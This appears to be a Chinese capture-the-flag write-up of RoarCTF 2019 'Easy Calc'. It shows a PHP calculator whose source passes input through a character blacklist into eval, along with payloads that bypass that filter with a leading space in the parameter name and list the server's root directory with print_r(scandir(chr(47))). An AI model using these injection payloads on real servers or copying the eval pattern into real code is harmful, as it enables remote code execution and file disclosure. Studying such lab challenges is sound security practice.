[RoarCTF 2019]Easy Calc
分析
进入靶场:

- 一个计算器,能正常计算。
- 看一下源代码。
截取了重要部分出来:
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
url:"calc.php?num="+encodeURIComponent($("#content").val()),:提交的是这个接口
发现是可以提交数字的但不能提交字符串
可以利用PHP的字符串解析特性来绕过一下:在参数num前面加上空格
calc.php? num=phpinfo();

-
发现可成功执行
phpinfo(),存在命令注入漏洞。 -
但
system()执行的命令没有回显。 -
换个思路,用打印函数将需要的东西打印出来:
calc.php?%20num=print_r(scandir(chr(47)));- 这里使用
chr(47)是因为/被过滤了。

- 这里使用
-
可以看到根目录下有个文件
f1agg
可以用函数将这个文件读出来:

- 正是我们要的Flag。
**注:**直接访问calc.php会直接出来源码…
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
RoarCTF2019EasyCalc题目分析:PHP命令注入漏洞利用
文章介绍了RoarCTF2019中一个名为EasyCalc的挑战,该挑战涉及一个计算器应用,存在WAF防护但仍有命令注入漏洞。通过在参数num前添加空格,可以绕过限制执行PHP代码,如phpinfo()。由于system()命令无回显,作者利用print_r和scandir函数获取了文件系统信息并找到了flag。

501

被折叠的 条评论
为什么被折叠?



